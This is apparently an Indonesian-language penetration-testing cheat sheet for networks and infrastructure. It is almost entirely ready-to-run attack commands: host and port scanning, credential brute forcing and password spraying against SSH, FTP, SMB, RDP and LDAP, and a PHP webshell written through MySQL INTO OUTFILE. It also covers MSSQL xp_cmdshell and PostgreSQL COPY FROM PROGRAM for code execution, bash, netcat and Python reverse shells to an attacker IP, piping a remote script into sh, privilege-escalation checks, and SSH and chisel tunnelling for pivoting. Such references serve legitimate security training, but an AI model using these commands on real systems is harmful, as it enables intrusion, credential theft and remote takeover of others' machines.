Network & Infra Pentest

Command & teknik pengujian keamanan jaringan dan infrastruktur — dari host/port discovery, packet capture, pengujian mendalam per service (SSH, FTP, Telnet, SMTP, DNS, SNMP, SMB, database, RDP/VNC, LDAP), sampai exploitation, privilege escalation, dan pivoting.

15 kategori · 44 command

Ping Sweep Subnet

Cari host aktif dalam satu jaringan.

bash

# Host hidup saja (tanpa scan port)
nmap -sn 192.168.1.0/24

# Host yang blokir ICMP (probe TCP)
nmap -sn -PS22,80,443 192.168.1.0/24
fping -a -g 192.168.1.0/24 2>/dev/null

Scan Semua Port

Pemindaian menyeluruh 1-65535 dengan output tersimpan.

bash

# Semua port TCP + simpan semua format (-oA)
nmap -p- -T4 -oA fullscan 10.10.10.10

# Cepat: temukan port dulu, baru scan mendalam
nmap -p- --min-rate 5000 -T4 10.10.10.10   # catat port terbuka
nmap -sCV -p22,80,443 10.10.10.10

Deteksi Versi & Script Default

Identifikasi service dan jalankan NSE default.

bash

nmap -sV -sC -p22,80,443 10.10.10.10

# Agresif: OS + versi + script + traceroute
nmap -A -p- 10.10.10.10

# Jalankan kategori NSE tertentu
nmap --script vuln -p80,443 10.10.10.10

Scan UDP Top Port

Cek layanan UDP yang paling umum terbuka.

bash

nmap -sU --top-ports 20 10.10.10.10

# UDP spesifik (jauh lebih cepat)
nmap -sU -p53,161,123,500 10.10.10.10

Scan UDP jauh lebih lambat, batasi port yang dicek.

Capture Traffic

Rekam semua paket pada interface tertentu.

bash

# Rekam semua paket ke file
tcpdump -i eth0 -w capture.pcap

# Filter host & port saat capture
tcpdump -i eth0 host 10.10.10.10 and port 80 -w web.pcap

# Baca file & tampilkan payload ASCII
tcpdump -r capture.pcap -A

Filter HTTP di Wireshark

Tampilkan hanya request HTTP.

bash

# Display filter Wireshark
http.request
http.request.method == "POST"
http contains "password"

Filter Port SMB

Fokus pada traffic SMB (port 445).

bash

tcp.port == 445
smb2 || smb
ntlmssp   # tangkap negosiasi auth NTLM

Filter DNS Query

Cari query DNS ke domain tertentu.

bash

dns.qry.name contains "target"
dns.flags.response == 0   # hanya query (bukan reply)
dns.qry.type == 16        # TXT (sering dipakai exfil)

Enum Versi & Metode Auth

Kenali versi, algoritma, dan metode autentikasi yang diterima.

bash

nmap -sV -p22 10.10.10.10
nmap --script ssh2-enum-algos,ssh-auth-methods -p22 10.10.10.10

# Metode auth yang diterima server
ssh -v user@10.10.10.10 2>&1 | grep -i 'authentications that can continue'

User Enumeration

Bedakan user valid/invalid pada OpenSSH rentan.

bash

# CVE-2018-15473 (OpenSSH < 7.7)
python3 ssh-username-enum.py 10.10.10.10 -U users.txt

# Cek publickey per user (respons beda utk user valid)
ssh -o PreferredAuthentications=publickey -o PubkeyAuthentication=no user@10.10.10.10

Brute Force & Login Kunci

Uji kredensial lemah atau login dengan private key.

bash

hydra -L users.txt -P rockyou.txt ssh://10.10.10.10 -t4
netexec ssh 10.10.10.10 -u users.txt -p rockyou.txt

# Login dgn private key temuan
chmod 600 id_rsa; ssh -i id_rsa user@10.10.10.10

-t4 batasi thread; OpenSSH sering drop koneksi paralel berlebih.

Crack Key & Audit Config

Pecahkan passphrase kunci & cari konfigurasi berbahaya.

bash

# Crack passphrase private key
ssh2john id_rsa > key.hash; john --wordlist=rockyou.txt key.hash

# Konfigurasi berisiko di server
grep -E 'PermitRootLogin|PasswordAuthentication|PermitEmptyPasswords' /etc/ssh/sshd_config

Anonymous & Enum

Cek akses anonymous lalu unduh isinya.

bash

# Cek anonymous (user: anonymous / pass: anonymous)
ftp 10.10.10.10
nmap --script ftp-anon,ftp-syst -p21 10.10.10.10

# Download rekursif
wget -r ftp://anonymous:anonymous@10.10.10.10/

Brute Force

Uji kredensial lemah pada login FTP.

bash

hydra -L users.txt -P rockyou.txt ftp://10.10.10.10
netexec ftp 10.10.10.10 -u users.txt -p rockyou.txt

Bounce & Upload Shell

Scan internal via FTP bounce atau upload webshell.

bash

# FTP bounce: scan host internal lewat server FTP
nmap -b anonymous:anonymous@10.10.10.10 172.16.0.5 -p22,80

# Bila FTP root = webroot, upload lalu akses via web
put shell.php

Cek versi: vsFTPd 2.3.4 (backdoor) & ProFTPd tertentu punya exploit publik (searchsploit).

Banner & Brute

Ambil banner lalu uji kredensial lemah.

bash

# Banner grab
nc -nv 10.10.10.10 23
nmap --script telnet-ntlm-info,telnet-encryption -p23 10.10.10.10

# Brute force
hydra -L users.txt -P rockyou.txt telnet://10.10.10.10

Sniffing Cleartext

Telnet mengirim kredensial tanpa enkripsi — tangkap.

bash

tcpdump -i eth0 port 23 -A
# Wireshark: filter 'telnet' -> Follow TCP Stream

Karena tanpa enkripsi, seluruh sesi & kredensial terbaca di jaringan.

User Enumeration

Validasi user lewat VRFY/EXPN/RCPT TO.

bash

smtp-user-enum -M VRFY -U users.txt -t 10.10.10.10
nmap --script smtp-enum-users -p25 10.10.10.10

# Manual
nc -nv 10.10.10.10 25
VRFY root

Open Relay Test

Cek apakah server mau meneruskan email pihak luar.

bash

nmap --script smtp-open-relay -p25 10.10.10.10

# Uji kirim (from & to eksternal)
swaks --server 10.10.10.10 --from spoof@evil.com --to victim@target.com

Enum Command & Banner

Lihat kemampuan server (AUTH, STARTTLS).

bash

nc -nv 10.10.10.10 25
EHLO x   # lihat AUTH, STARTTLS, VRFY yang didukung

Zone Transfer (AXFR)

Coba tarik seluruh isi zona dari name server.

bash

dig axfr @10.10.10.10 target.com
dnsrecon -d target.com -t axfr
fierce --domain target.com

AXFR sukses = bocor seluruh record internal (subdomain, IP, service).

Brute Subdomain & Record

Temukan subdomain & baca record penting.

bash

dnsrecon -d target.com -D subdomains.txt -t brt
gobuster dns -d target.com -w subdomains.txt

# Semua record
dig @10.10.10.10 target.com ANY

Versi Server

Bocorkan versi software DNS (info disclosure).

bash

dig @10.10.10.10 version.bind chaos txt

Brute Community & Walk

Tebak community string lalu baca seluruh MIB.

bash

# Brute community string
onesixtyone -c community.txt 10.10.10.10

# Walk & ringkasan
snmpwalk -c public -v2c 10.10.10.10
snmp-check 10.10.10.10 -c public

Ekstrak Data Sensitif

Ambil proses, user, dan port lewat OID kunci.

bash

snmpwalk -c public -v1 10.10.10.10 1.3.6.1.2.1.25.4.2.1.2   # proses berjalan
snmpwalk -c public -v1 10.10.10.10 1.3.6.1.4.1.77.1.2.25    # daftar user
snmpwalk -c public -v1 10.10.10.10 1.3.6.1.2.1.6.13.1.3     # port TCP

Community 'private' (RW) bisa dipakai mengubah konfigurasi device.

Enum Shares & Null Session

List share tanpa kredensial & enum user/group.

bash

# List share (null session)
smbclient -L //10.10.10.10/ -N
netexec smb 10.10.10.10 -u '' -p '' --shares

# Enum lengkap user/group/policy
enum4linux-ng -A 10.10.10.10

Versi & Vuln

Deteksi dialek/signing & cek celah kritikal.

bash

netexec smb 10.10.10.10
nmap --script smb-protocols,smb-security-mode -p445 10.10.10.10

# EternalBlue dsb
nmap --script smb-vuln-ms17-010 -p445 10.10.10.10

Akses Share & Spray

Baca share dgn kredensial & password spraying.

bash

smbclient //10.10.10.10/share -U 'user%pass'
smbmap -H 10.10.10.10 -u user -p pass

# Password spray satu password ke banyak user
netexec smb 10.10.10.10 -u users.txt -p 'Password1' --continue-on-success

MySQL (3306)

bash

mysql -h 10.10.10.10 -u root -p
nmap --script mysql-empty-password,mysql-info -p3306 10.10.10.10

# Baca/tulis file (butuh FILE privilege)
SELECT LOAD_FILE('/etc/passwd');
SELECT '<?php system($_GET[c]);?>' INTO OUTFILE '/var/www/html/s.php';

MSSQL (1433)

bash

mssqlclient.py DOMAIN/user:pass@10.10.10.10 -windows-auth

# Aktifkan & jalankan xp_cmdshell
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami

PostgreSQL (5432)

bash

psql -h 10.10.10.10 -U postgres
netexec postgres 10.10.10.10 -u postgres -p postgres

# RCE (PostgreSQL >= 9.3)
COPY cmd_exec FROM PROGRAM 'id';

Coba default creds: root/'' (MySQL), sa/'' (MSSQL), postgres/postgres.

RDP (3389)

Cek NLA, brute (hati-hati lockout), lalu konek.

bash

# Info NLA & enkripsi
nmap --script rdp-ntlm-info,rdp-enum-encryption -p3389 10.10.10.10

# Brute
netexec rdp 10.10.10.10 -u users.txt -p rockyou.txt

# Konek (password atau pass-the-hash)
xfreerdp /u:user /p:pass /v:10.10.10.10
xfreerdp /u:admin /pth:<NTLM> /v:10.10.10.10

Brute RDP mudah memicu account lockout — batasi percobaan.

VNC (5900)

Cek auth, brute password, dan konek.

bash

nmap --script vnc-info,vnc-title -p5900 10.10.10.10

# Brute password VNC
hydra -P rockyou.txt vnc://10.10.10.10

# Konek
vncviewer 10.10.10.10:5900

Anonymous Bind & Dump

Tarik naming context & objek tanpa kredensial.

bash

# Naming context
ldapsearch -x -H ldap://10.10.10.10 -s base namingcontexts

# Dump objek (cari password di field description)
ldapsearch -x -H ldap://10.10.10.10 -b 'DC=corp,DC=local' '(objectClass=user)' sAMAccountName description

Brute & Enum

Uji kredensial & enumerasi user via tools.

bash

netexec ldap 10.10.10.10 -u users.txt -p rockyou.txt

# Enum user/group
windapsearch.py -d corp.local --dc-ip 10.10.10.10 -U

Metasploit Cepat

Jalankan exploit dan set payload dalam satu baris.

bash

# Handler multi/handler satu baris
msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST 10.10.14.1; set LPORT 4444; run"

# Cari modul & generate payload
msf6 > search type:exploit vsftpd
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f elf -o sh.elf

Listener Netcat

Siapkan listener untuk menangkap reverse shell.

bash

# Listener dasar
nc -lvnp 4444

# Dengan history/arrow keys (shell lebih nyaman)
rlwrap nc -lvnp 4444

Reverse Shell Bash

Payload shell balik dari target ke attacker.

bash

# Bash
bash -i >& /dev/tcp/10.10.14.1/4444 0>&1

# Alternatif
nc 10.10.14.1 4444 -e /bin/bash
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.1",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'

# Upgrade ke TTY penuh
python3 -c 'import pty;pty.spawn("/bin/bash")'   # lalu Ctrl+Z; stty raw -echo; fg

Selalu sesuaikan IP & port dengan listener yang aktif.

Cari File SUID

Temukan binary yang bisa dieksploitasi untuk privesc.

bash

# Binary SUID
find / -perm -4000 -type f 2>/dev/null

# Capabilities (cap_setuid dll)
getcap -r / 2>/dev/null

# Cocokkan hasil dengan GTFOBins -> https://gtfobins.github.io

Jalankan LinPEAS

Automasi pencarian celah privilege escalation.

bash

# Lokal (simpan output)
./linpeas.sh | tee linpeas_output.txt

# Tanpa nulis ke disk (stream dari attacker)
curl 10.10.14.1/linpeas.sh | sh

Cek Sudo Rights

Lihat command apa saja yang bisa dijalankan sebagai root.

bash

sudo -l

# Incar NOPASSWD atau binary GTFOBins
sudo -l | grep NOPASSWD

# Cek versi sudo (mis. CVE-2021-3156 Baron Samedit)
sudo --version | head -1

Dynamic Port Forward SSH

Buat SOCKS proxy lewat SSH.

bash

# SOCKS proxy dinamis
ssh -D 1080 user@10.10.10.10

# Local forward (akses satu port internal)
ssh -L 8080:172.16.0.5:80 user@10.10.10.10

# Remote forward (target -> attacker)
ssh -R 9000:127.0.0.1:80 user@10.10.14.1

Proxychains

Rutekan tool lain lewat proxy yang sudah dibuat.

bash

# /etc/proxychains.conf -> socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 172.16.0.0/24
proxychains curl http://172.16.0.5

Pakai -sT (TCP connect) karena SOCKS tak meneruskan scan SYN mentah.

Chisel Reverse Tunnel

Tunnel ke jaringan target yang tidak reachable langsung.

bash

# di attacker (server)
./chisel server -p 8000 --reverse

# di target (client)
./chisel client 10.10.14.1:8000 R:socks

# lalu akses via proxychains (socks 127.0.0.1:1080)

Network & Infra Pentest

Host & Port Discovery

Packet Capture & Analisis

SSH (22)

FTP (21)

Telnet (23)

SMTP (25 / 587)

DNS (53)

SNMP (161/UDP)

SMB / NetBIOS (445)

Database (3306 / 1433 / 5432)

RDP & VNC (3389 / 5900)

LDAP (389 / 636)

Eksploitasi & Reverse Shell

Privilege Escalation (Linux)

Pivoting & Tunneling